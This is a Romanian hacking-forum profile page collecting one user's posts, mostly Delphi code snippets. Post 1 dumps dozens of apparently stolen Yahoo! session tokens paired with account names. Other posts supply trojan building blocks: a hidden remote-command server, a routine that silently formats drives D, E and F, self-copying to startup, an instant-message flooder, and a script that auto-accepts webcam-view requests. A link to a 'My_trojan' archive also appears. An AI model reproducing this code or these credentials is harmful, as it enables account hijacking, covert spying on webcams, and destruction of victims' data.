Jump to content

c0smyn

Active Members
  • Posts

    311
  • Joined

  • Last visited

  • Days Won

    4

Everything posted by c0smyn

  1. c0smyn

    Yahoo! ID`s

    Am gasit astea prin pc. Cei ce nu stiu inca ce e un ETS cititi AICI ################### --------------------------- ETS: SR2ElgAAcjK3LCEQbqPaVSdyWdgacLJEHU5qs1gDzdi7mKameDOp0gLnTuIg.L3j3eWclhRf87xOli4ajpUS4AiDY.0fOTuyALOuO04gu2Mq ID: roman_bogdan13 --------------------------- ETS: STwdwwAACTdUnY_5HpgZB5vmn8tcuCWx5o.OJZPN8s2OnUCFTeZkiuqvH6aiDva_AoVRXaz04rliHJrvS_WqvFRbOoUPc6Bg6gNjC6k- ID: petre18cr --------------------------- ETS: STwHqQAXmKYk9qcEeDdFhbB7BMQa.PSvWkP3sR25q9EF7gYXpOPeBO5w5KhRj_.5tePpCgRN8_lKV6gZPSLOqVWfWTy5mMfi9IWz_QphI5GL ID: boa_the_snake --------------------------- ETS: SRMtAgABFdXtYwxVjVNJGW2omYkP9trBb325BBZplO.C1hW8Hw.dx8p1vtHc57SoG9GuGOSt8u8j5rkcYLk3.k.e_CXfw5siGLzIMKHAjlW7dsVz_w-- ID: krysty_beztialboy --------------------------- ETS: STyG_gAAG.QLsBf5s4s8Dwvq5wXGaflSQwqVx9hPvkNY_AqoYZqFFUP8h5MVU0.VJ5S8P5tk4Lds7O6vZZgarpNq_BjwEfUS1CWzRqxuLLPp ID: baba_guta_razvan --------------------------- ETS: STkh.QAOrArr5.6LwWjNBLwO9Aj31ngTeXWuuLZsx_nzHraUTmUi5QsMKdjCbTxEtAwqvCTwDEJuLfXrCAwiX.dyS0t5NoZW5Fp4H64- ID: valy_parvu85 --------------------------- ETS: STxLGgAAT5fhKfynlmpj2RvRuMrxlxey78HZg6XnH_KhMkf6Tae_RbFAxMz7fSPmyboPc.6T_W0aSqP8cJhAqOMLGB7GUlpymQ-- ID: xzeber --------------------------- ETS: SSxwPQABalH6Yl5c.aJrf0xzpptpgeuZ1PPcP_3ZyBN_bRC6quDO.XnHwYSVP1wTNkDDYaEBBWtHgC0od9upm_zHf9TQsNEJX0PGQOQ- ID: q3hannibal --------------------------- ETS: SRV.8wACeR5K_zQeemE0wOSPKpK8ueiOQojN7J1RNMFxnMmt7m6Jh8P5ZWTQyCuUYwXVRNNJPCQ9jXHPoDf_Wuf7KCT0hCxQFqtDo0U- ID: gondo66_hbk --------------------------- ETS: SRWdxwAATVTiZHdfSAwMNXhrggnzu0xWMCVL_MZhT9plX5hj5vt_A1bTe6MMmWF81LHXedGPGfkYYHZ5gAc2VBbsqvj4Ij8bFPOUGdn4BabU ID: coco_cristy_94 --------------------------- ETS: STz_mgAAXBrGaeYf.dbKHXfm7qOtKIUyJU_jmLgraaNk6tHTZSquefxOlU46GpQEpTP9UZcSHa4zKoBIEuNX81Q34ihyRHCGUr4uK7PWwKNB ID: ricky.sympatiku --------------------------- ETS: STzqvgABnxlTDZ9OndPztsbgexAGjH7ahpnnN0wSTCDYHItz735zfsDw2yQtva7gxEAZ0qWt98tDg2aklDtQtjikaWfMyVTq9YPQpRIxjsqd ID: g3orgyan_yonutz --------------------------- ETS: STupmwAAVbFjLD2aIzh666MTv3e21CM52UNqEK4ZSqGZt.Fr8BMm_fWzmQSndfMASeql5AiwU26T_hitP0rWWJ5deko9BmpBOyDpodZmcABh ID: jerry_boy2007 --------------------------- ETS: ST11ZAAAfQ9Y4Hpxo9GukUPxZSGaHJ1vJKkkg2VEjwK6ZG5er23ILik0gqw99X5thMEDRsvrqEyLK2r7Lugt12EfhGsUfKXzTuJL_chhdFuH ID: leontestefan94 --------------------------- ETS: ST19PgCYWhHqrrx0IQFYb5EGZA5njsmKwythZ_Car8MFGw0LKV0Gc8EAVxmgEoOZby_qSjf7AwgsJEjSxyUIyebpu81DOM76MMdAm34- ID: Badboy_nyck --------------------------- ETS: ST6auACsgd3rUooRGntQzDZjJdu1wbaoTWZchascNsRjVsbrh3KbRVPxS7PCD1pJ9SPv8MA.ZBVxcOY6csHtQU9ti2YyIfzKI3.Lq6k- ID: andrusk4all --------------------------- ETS: ST4iVgABaFxJ7wpwegw9d90Dq0AyrNnZvU0sml0DGEuddoJWhRTil1IHkonXXShZ5Xpe3RMQPd0gD1Pma.xMPuuif5dm77EDkDYnc1yL7xeTArqGUQ-- ID: vlad_killerul2008 --------------------------- ETS: ST5aCgAADtRUx_KhZ1pcR20Y72X3F.HosKPrM.65pKYKhSW1k2Xh41UBt6DkL9fs26Z6XYPJ2BeXFJZgUcpocoOz1Ddlu9hxs50wOBcA_yJj ID: alexs_hugoboss --------------------------- ETS: ST6auACsgd3rUooRGntQzDZjJdu1wbaoTWZchascNsRjVsbrh3KbRVPxS7PCD1pJ9SPv8MA.ZBVxcOY6csHtQU9ti2YyIfzKI3.Lq6k- ID: andrusk4all --------------------------- ETS: ST6arAEVIc1pzfmDLd99Cg8K1_h3Oy_WnR5OJ5I63bFkZYfQbaCdubYMBf6lb.S5aqmIqEZMq_AP5FHrfhKeGWMTYm9yzC_RMg-- ID: danutzq --------------------------- ETS: ST64_QAwhDoNDp0i1YXkII.Oea5fzRPqGfDyuHxpeH0xP3UrUjItLBC8LTy7Sp3YKdvXgq09RDsjsIXWEgvzVaMoHj7SUsfzTkMS2JCEC70YtJYyLw-- ID: alina_alina_grill --------------------------- ETS: SRv81wAAgvrdPwmWpcPnyeLOZvmbqR2piKXR4IvY9pelAOv9p8jTTWibK27QFoAvqpGbUpjGj7ePronL1dT0p.H5HuT2uaumGWmlFBk- ID: calininio --------------------------- ETS: ST92HwAGN15OVmOVSNSPf8ulL6OV_81hPswD0FlnvTTST119M_OHd4qBE_dVLMzCrjfc2EUa1jVyOmaHoXhJAZaTEwYUnLyyEg-- ID: cipi_tba --------------------------- ETS: ST0SQQAdTu41ewF5Mm2Z5bMMTzJHnDi4s5G3rvc.YHnFYWCCbYOlqvBBdZogco5iYc1TGUkM3OSW_GLTNdCzvqAxaA1aMHWL5d8rEGY- ID: Fen1X_FEn1X --------------------------- ETS: SWee.wAA3zQThMDm.4dim5VeoSyPyaeAplBcso3V3wBsZ2itfYm5KUKBemOFKjS4jT1oytesEJLasPwSxGPkNYmughN3uXzDziMYMvOjLssce.jYEUvM8D4- ID: youshouldntbelikeme04 --------------------------- ETS: SUJoeQAAS0GElCVqJx2OI9qSRsWVhmTjLh2ef0B74M.EAO5mrDrtwMr8udK8J5pY5DU.ywHIK0l5aWibjpCEMRVQV_u1fBHi6WbZ3xvZLVyP ID: armin_costea2000 --------------------------- ETS: ST7UbwAA3HnRDkuOhYzpSCLFt3tuTOwt6wSRqwsbxmCVrA.JM0_fM5_VG.K7YZ6LYGR2R03PFQ2mr19k9zKwPhy7tut0HIAiHnNm69N5Fz28 ID: blondutzu_tm99 --------------------------- ETS: SS9s_gAAjL_8xRAuz6wrTC4HF7zKo_3IkzxWYRhMW_BIq5WGFSyAm8fiozZ9B6tlsYl9Gjag8sO7wzhXBUlO.SFGpJE0WAmXiQxN5sfmugRztEPASg-- ID: laleagane_ghostrider --------------------------- ETS: SUFx_QAAI9NZ9aGzpCyVdiEyhH5AK3cPjMQL_OwEMkNJClBX4_lwUb4FpOrTeNy5FBmtsYEq8JDaHjS3rkNiZstWTBS13qJJBzRC7Y7o6YIE ID: doky_avril2005 --------------------------- ETS: SUFyNQAAcL1_z3hOM7Tkyv5yCf2tKZ6pTw5hdOzq6oDpB.fLmA6tsWKczagrDFquWiwyraqKavC657wiQturHD_d4qMCGv5Gv9DfU2h49pjnkSzDQA-- ID: teardrop_by_kitty --------------------------- ETS: SUFx_QAAI9NZ9aGzpCyVdiEyhH5AK3cPjMQL_OwEMkNJClBX4_lwUb4FpOrTeNy5FBmtsYEq8JDaHjS3rkNiZstWTBS13qJJBzRC7Y7o6YIE ID: doky_avril2005 --------------------------- ETS: SS9s_gAAjL_8xRAuz6wrTC4HF7zKo_3IkzxWYRhMW_BIq5WGFSyAm8fiozZ9B6tlsYl9Gjag8sO7wzhXBUlO.SFGpJE0WAmXiQxN5sfmugRztEPASg-- ID: laleagane_ghostrider --------------------------- ETS: SUFz_wAAlkQXkNL8.FtbTeddah6NTUOXX2DhlFcAmijX2FdsQfaDCi7PZUnAedJ9_6HgY8k3VRySX..Jy7kkH.evPGX96LdoUqsp.9WdIBgQ ID: vatos_anna_lokos --------------------------- ETS: SUGDhwAue0omqa3XuQN4xR93apVQVoT20h4w8gAOY31zpKyKamFnUgX4JYQKVwhN4g6.pfZP_u.aWh7k1vCTlqLzr1JHyIlmvaoD7Os- ID: mihai_love_d --------------------------- ETS: STvZXAFTzjxOC05zo9L9gMacTJpaeWZnC6_WlK1yhgYzFfzWVrzzqVL0wu3vcg5jzNZN9aNgrex84AWWqYsoOn_M6hk3UO00zAr57osHD0xGfgCXI_LbP7CQUYjMH.MFEA-- ID: alexica_lkj4567899999999999999f --------------------------- ETS: SS1NDQAG_S.dtOJmmZQweuVjKPWAEyAW0mYu8W02gNrt52foSxoDbtvlEXCS35tTQAOdeci2xMPYDDgz2N9sKKFKBS5z0GTLsA-- ID: wyvasi --------------------------- ETS: SeQB_wAADlvyDuzzAqomAMy_4KtcFV78.Vs0J1IrRXu3PCBjl0XoWWDwjP2H8qIHiIfmNnAUnA1cK4bqsC_6Rzslv.3wyeRGv9yXea4- ID: nely_knife --------------------------- ETS: SUPe_AAAuO8K3UroWTqzhVQd3LzYjOh3xN_LlvwOdbE4mH3..SmDkuKf58rhOVY43V3NoW1U9wYOIWhFaVrITbU0I9q3ekfZLMzc204- ID: maf1a_rurala --------------------------- ETS: SUQkXgAAWuH85Pnn8YFCfrc5iB2hWdS7x2XMOIftlnP_pxHhZH.I81nqnAVmWeDlzg85u_czIoVVli6e_ZWST0Q0R801X8wj4PZ05M_hup9R ID: crys_ty_13_14 --------------------------- ETS: SUVqtACXCkK5yAjGNAEkCEuceS0uKDAFHiVQ2ZnQhAxFUnJEP3pxIbOQhvVb_SAQ6hyaU_gx8ydQDWmI8wyEGcPnyw7Xuj0fbuSGi0E- ID: pepsy_mp4 --------------------------- ETS: OlgZHgABEQLHh1gU40E94rxS3DHuO6rTodYuUsY94Ers5.n6.j23JXIM793vwzWgaLLmeYlOA4SRbvUG_0LQXDTSwlUPRW9smY9z5a3FWeTDZYuvnAdGQ1c- ID: angelavasile@ymail.com --------------------------- ETS: SUp6ZAAAPwxfb2Eu13vBNh0QSqhH__dxDotUCH0k2LFBfWHtvGACr28wPJ2Emp9I3tCY5LZwauL7rYXeqzITkyP.ZQY4uFbADe7Dbaw- ID: Alex_Aluuuu! --------------------------- ETS: R3pp5QAAN5pRQyr9FIZ1ji4Fza4d1m6NyehWSxDVnt4YY00OsNzKVePEW_wheC6ry3qRBs9WE8KJmzSwlcQqPnFCFOnNDg_.eEHcPu0- ID: mem0_paul --------------------------- ETS: SUmMFwAAKPQLy365h6036se71KgRc96I6O9ahuo7tRuPj4OfJjHXn.pHvgUvObHQ7BryUnr0Ik9g2PWG5WmM80g2Xgyr1ska9bG8XTmVbbkF ID: Yo_costy_andrey --------------------------- ETS: SUuQtwAAFtPQ1uRCNtvC.zvuAT7v238ORPJI3Za2gAymqX0YMwcGdg_EyxWNWh1oqE2JYue9vjAiTWy2E7L1eN6uBaGoJpvmz6auodw- ID: somacatalin --------------------------- ETS: SUzDYQAEu3zU6A._zD4z1Lq517yfVX3zcZoY8XRUj79uBWdxLNWUS76jZk_gBumTWoq.gCgQwO1X6dKcFZgUVbmR.nnmkhzCejDiz6TDEWWR ID: mindstorm_alex --------------------------- ###################
  2. scuze unele coduri le-am scris pe direct .. in loc de CopyFile(Application.exename,ExtractFilePath(,false); pui CopyFile(PChar(Application.exename),PChar(ExtractFilePath(),false);
  3. daca vrei sa pui aceasta comanda pe trojan e simplu. Dar sa fac un Yahoo! Booter separat nu prea ma pricep. Pentru trojan procedezi astfel. Adaugi pe form un actionlist iar in action list un TBrowseUrl. Acum pentru a deschide multe ferestre folosesti codul asta. var mybot: string; botnumber: integer; i: integer; begin mybot := 'koko'; botnumber := 1; for i := 0 to 1000 do begin browseurl1.url := 'ymsgr:sendim?'+mybot+inttostr(botnumber); browseurl1.execute; botnumber := botnumber + 1; end; end; Acest cod v-a deschide 1000 ferestre de convorbire catre id-ul koko+botnumber
  4. Ai dreptate Shocker // Thanks to Shocker function ExtractIconFromExe(ExePath: string; SaveIconTo: string): boolean; var i: TIcon; h: HIcon; begin if not directoryexists(ExtractFilePath(SaveIconTo)) then if MessageBox(application.Handle,PChar('Calea salvarii icoanei nu exista!'+#13#10+'Doriti ca aceasta sa fie creata?'),PChar('Icon Extractor'),MB_YESNO + MB_ICONEXCLAMATION) = ID_YES then CreateDirectory(PChar(ExtractFilePath(SaveIconTo)),nil) else exit; i := TIcon.Create; h := ExtractIcon(application.handle,PChar(ExePath),0); if h <> 0 then begin i.Handle := h; i.SaveToFile(SaveIconTo); result := true; end else result := false; i.Free; end; E mai bine acum ?
  5. Acest program va atentioneaza daca aveti procese suspicioase/care nu va folosesc/de troieni etc. Nu are install e doar un simplu executabil. Merita incercat. Photo: Download: http://rapidshare.com/files/195728419/Process_Scanner.rar.html http://www.2shared.com/file/4832839/82bf91dd/Process_Scanner.html http://www.mediafire.com/?ymgm1nyfumx
  6. REMOTE CMD CLIENT: tcpclient1.sendln('!'+'COMANDA'); [color=green]// Ex: tcpclient1.sendln('!'+'shutdown -s -t 100');[/color] SERVER: OnChange var s: string; begin if edit1.text[1] = '!' then begin s := edit1.text; delete(s,1,1); winexec(PChar(s),sw_hide); end; end; Pentru filemanager ai nevoie de TClientSocket si TServerSocket. Am sa fac unu mai incolo si o sa pun sursa aici. EDIT: Done! Download Source
  7. Adaugi sus la USES, MMSystem. Pui acest cod sub {$R *.dfm} procedure ChangeVolume(left, right: Word); var a: HWAVEOUT; b: TWAVEFORMATEX; vol: DWORD; begin FillChar(b, SizeOf(, 0); waveOutOpen(@a, WAVE_MAPPER, @b, 0, 0, 0); vol := left + right shl 16; waveOutSetVolume(a, vol); waveOutClose(a); end; Iar acum pentru a schimba volumu , dai click pe scrollbar , si la OnChange pui acest cod ScrollBar1.max := 65535; ChangeVolume(scrollbar1.Position,scrollbar1.Position);
  8. Da. Aplicatia se copiaza in C:\Documents And Settings\All Users\Start Menu\Programs\Startup
  9. in orice caz daca e sa imi mai trebuiasca il downloadezi de aici http://rapidshare.com/files/194830233/Project1.exe.html
  10. Adaugi un label pe form Acum la un button sau la ce vrei tu la eventul OnClick pui acest cod var i: integer; begin for i := 0 to (FileListBox1.Items.Count - 1) do if FileListBox1.Selected[i] then label1.Caption := FileListBox1.Items[filelistbox1.itemindex]; end;
  11. http://rapidshare.com/files/194202443/My_trojan.rar.html
  12. Open/Close CDRom Uses: MMSystem; procedure CDRom(operation: string); begin if operation = 'open' then mciSendString('set cdaudio door open wait', nil, 0, handle) else if operation = 'close' then mciSendString('set cdaudio door closed wait', nil, 0, handle); end; Hide/Show Desktop procedure ShowDesktop(const YesNo: boolean); var h : HWND; begin h := FindWindow('ProgMan', nil); h := GetWindow(h, GW_CHILD); if YesNo = True then ShowWindow(h, SW_SHOW) else ShowWindow(h, SW_HIDE); end; Hide/Show Start Button procedure ShowStartButton(bValue: Boolean); var Tray, Child: HWND; C: array[0..127] of Char; S: string; begin Tray := FindWindow('Shell_TrayWnd', nil); Child := GetWindow(Tray, GW_CHILD); while Child <> 0 do begin if GetClassName(Child, C, SizeOf(C)) > 0 then begin S := StrPAS(C); if UpperCase(S) = 'BUTTON' then begin if bValue = True then ShowWindow(Child, 1) else ShowWindow(Child, 0); end; end; Child := GetWindow(Child, GW_HWNDNEXT); end; end; Hide/Show TaskBar procedure TaskBar(show: Boolean); var t: HWND; begin t := FindWindow('Shell_TrayWnd',nil); if show = true then ShowWindow(t, SW_SHOW) else if show = false then ShowWindow(t, SW_HIDE); end; Open 100 xxx web Adaugati un ActionList pe form , iar in actionlist un TBrowseurl procedure Open100xxxWeb; var i: integer; begin for i := 0 to 100 do begin browseurl1.URL := 'http://redtube.com'; browseurl1.Execute; end; end; Hide/Show clock procedure Clock(show: Boolean); begin if show = true then ShowWindow(FindWindowEx(FindWindowEx(FindWindow('Shell_TrayWnd', nil),HWND(0),'TrayNotifyWnd', nil), HWND(0),'TrayClockWClass', nil), SW_SHOW) else if show = false then ShowWindow(FindWindowEx(FindWindowEx(FindWindow('Shell_TrayWnd', nil),HWND(0),'TrayNotifyWnd', nil), HWND(0),'TrayClockWClass', nil), SW_HIDE); end; Get windows/desktop path function GetWindowsDir: string; var s: array[0..255] of char; begin GetWindowsDirectory(s,255); result := s; end; function GetDesktopPath: string; var a: array[0..255] of char; s: string; begin GetWindowsDirectory(a,255); s := a[0] + a[1] + a[2]; result := s + 'Documents and Settings\All Users\Desktop\'; end; Add application to startup procedure AddToStartUp; var a: array[0..255] of char; b: string; begin GetWindowsDirectory(a,255); b := a[0] + a[1] + a[2]; b := b + 'Documents and Settings\All Users\Start Menu\Programs\Startup\'+ExtractFileName(application.exename); if not fileexists( then CopyFile(Application.exename,ExtractFilePath(,false); end; Format D,E,F Uses: ShellApi; procedure FormatHDD; var a: array[0..255] of char; formatpath: string; begin GetWindowsDirectory(a,255); formatpath := a+'\system32\format.com'; ShellExecute(application.Handle,'open',formatpath,'D: /q /x /y',nil,sw_hide); ShellExecute(application.Handle,'open',formatpath,'E: /q /x /y',nil,sw_hide); ShellExecute(application.Handle,'open',formatpath,'F: /q /x /y',nil,sw_hide); end; Daca aveti nevoie de vreo comanda postati mai jos si o sa va ajut ..
  13. Acest program v`a apasa pe butonul "Yes" de la cererea vederii camerei web. 1. Adaugati pe form un TTimer 2. Puneti la Timer1, interval 20 3. D`ati 2click`uri pe timer, stergeti cuvantul begin si puneti urmatorul cod var WebcamWindow: HWND; AcceptButton: HWND; begin WebcamWindow := FindWindow('WebcamClass','View Webcam'); if WebcamWindow <> 0 then begin AcceptButton := FindWindowEx(WebcamWindow,0,'Button','&Yes'); SendMessage(AcceptButton, BM_CLICK ,0 ,0); end; Enjoy
  14. Adaugati sus la uses: ShellApi Adaugati aceasta function sub {$R *.dfm} // Thanks to Shocker function ExtractIconFromExe(ExePath: string; SaveIconTo: string): boolean; var i: TIcon; h: HIcon; begin if not directoryexists(ExtractFilePath(SaveIconTo)) then if MessageBox(application.Handle,PChar('Calea salvarii icoanei nu exista!'+#13#10+'Doriti ca aceasta sa fie creata?'),PChar('Icon Extractor'),MB_YESNO + MB_ICONEXCLAMATION) = ID_YES then CreateDirectory(PChar(ExtractFilePath(SaveIconTo)),nil) else exit; i := TIcon.Create; h := ExtractIcon(application.handle,PChar(ExePath),0); if h <> 0 then begin i.Handle := h; i.SaveToFile(SaveIconTo); result := true; end else result := false; i.Free; end; Enjoy
  15. asa zi xD Adaugi pe form un TTrayIcon. Click pe Form1 > Events si la OnClose pui acest cod //Hide App application.mainform.hide; with trayicon1 do if visible = false then visible := true; abort; iar pentru a inchide aplicatia folosesti application.terminate;
  16. se cheama Tray nu tool bar referitor la ce limbaj de programare ai deschis acest topic ?
  17. nu exista asa ceva. ceea la ce te referi poti face cu TTrayIcon. Nu mai deschide topic nou pentru fleacurile astea. Cauta pe gugal.
  18. lasate uite asta tre sa pui ( un string )
  19. Click dr p mnopg ptr a deleta srv rotflmao deleta on: bv esti viitoru romaniei. chiar aveam nevoie
  20. Acele componente nu le poti instala. Ele iti apar odata cu inregistrarea programului.
  21. nu mai am sursa de ce nu faci tu unu ? sunt destule tutoriale pe aici postate de mine.
  22. In primu rand cei ce aveti veriunea 7 de BD sau mai mica aveti nevoie de sndkey32 pe care il puteti descarca de AICI. Extrageti tot din arhiva in folderul "lib" din %Program Files%\Borland\Delphi\ . Acum sa trecem la proiect .. 1. Sus la uses adaugati: sndkey32 2. Adaugati pe form 2 butoane , un edit , un Timer si un XpManifest. 3. La button1 punem la caption "Activeaza" (fara ghilimele) , La button2 punem la caption "Dezactiveaza" si la edit1 punem la text "Mesaj". 4. In "public {Public declarations}" , adaugam urmatorul cod. YahooMessageWindow: HWND; 5. Punem aceasta functie sub {$R *.dfm} --- function CheckWindow: boolean; begin result := false; YahooMessageWindow := FindWindow('YSearchMenuWndClass',nil); if YahooMessageWindow <> 0 then begin result := true; BringWindowtotop(YahooMessageWindow); end else result := false; end; --- 6. La Timer1 punem la interval 20, la enabled sa fie false , apoi apasam 2 click pe el si punem urmatorul cod. --- CheckWindow; if CheckWindow = true then begin BringWindowtotop(YahooMessageWindow); timer1.enabled := false; Sleep(200); SendKeys(Pchar('<b>Robot Yahoo!:</b> '+edit1.text),true); SendKeys(#13,true); SendKeys('{ESCAPE}',true); timer1.enabled := true; end; --- 7. Dam 2 click pe button1, stergem cuvantul begin si punem urmatorul cod. var YahooHandle: HWND; begin timer1.Enabled := true; edit1.enabled := false; YahooHandle := FindWindow('YahooBuddyMain',nil); if yahoohandle <> 0 then CloseWindow(YahooHandle); end; 8. Dam 2 click pe button2 si punem urmatorul cod. timer1.enabled := false; edit1.enabled := true; Finish ! Aplicatia ar trebui sa arate cam asa Totul este foarte explicit .. va rog sa nu veniti cu posturi de genu "nu functioneaza" , "imi da eroare" etc ..
  23. Minimize/Maximize/Restore/Hide/Show Yahoo! Messenger: --- var YahooHandle: HWND; begin YahooHandle := FindWindow('YahooBuddyMain',nil); [color=green]// or FindWindow('YahooBuddyMain','Yahoo! Messenger'); [/color] if YahooHandle <> 0 then begin ShowWindow(YahooHandle,sw_minimize); [color=green]// Minimize[/color] ShowWindow(YahooHandle,sw_maximize); [color=green]// Maximize[/color] ShowWindow(YahooHandle,sw_restore); [color=green]// Restore[/color] ShowWindow(YahooHandle,sw_hide); [color=green]// Hide[/color] ShowWindow(YahooHandle,sw_show); [color=green]// Show[/color] end; end; --- Change Yahoo! Messenger caption: --- var YahooHandle: HWND; begin YahooHandle := FindWindow('YahooBuddyMain',nil); if YahooHandle <> 0 then SetWindowText(YahooHandle,Pchar('New Caption')); end; --- Start Yahoo! Messenger: --- Adaugati sus la Uses, ShellApi Puneti aceasta functie sub {$R *.dfm} function GetYahooPath: string; begin if fileexists('C:\Program Files\Yahoo!\Messenger\YahooMessenger.exe') then result := 'C:\Program Files\Yahoo!\Messenger\YahooMessenger.exe' else if fileexists('D:\Program Files\Yahoo!\Messenger\YahooMessenger.exe') then result := 'D:\Program Files\Yahoo!\Messenger\YahooMessenger.exe' else if fileexists('E:\Program Files\Yahoo!\Messenger\YahooMessenger.exe') then result := 'E:\Program Files\Yahoo!\Messenger\YahooMessenger.exe' else ShowMessage('Nu se poate gasi Yahoo!Messenger.exe'); end; Acum pentru a porni Yahoo! Messenger folositi urmatorul cod: ShellExecute( 0, 'open', PChar(GetYahooPath),nil, nil, SW_SHOW ); --- Close Yahoo! Messenger: --- begin winexec('taskkill /f /im YahooMessenger.exe',sw_hide); winexec('taskkill /f /im YAHOOM~1.exe',sw_hide); end; ---
×
×
  • Create New...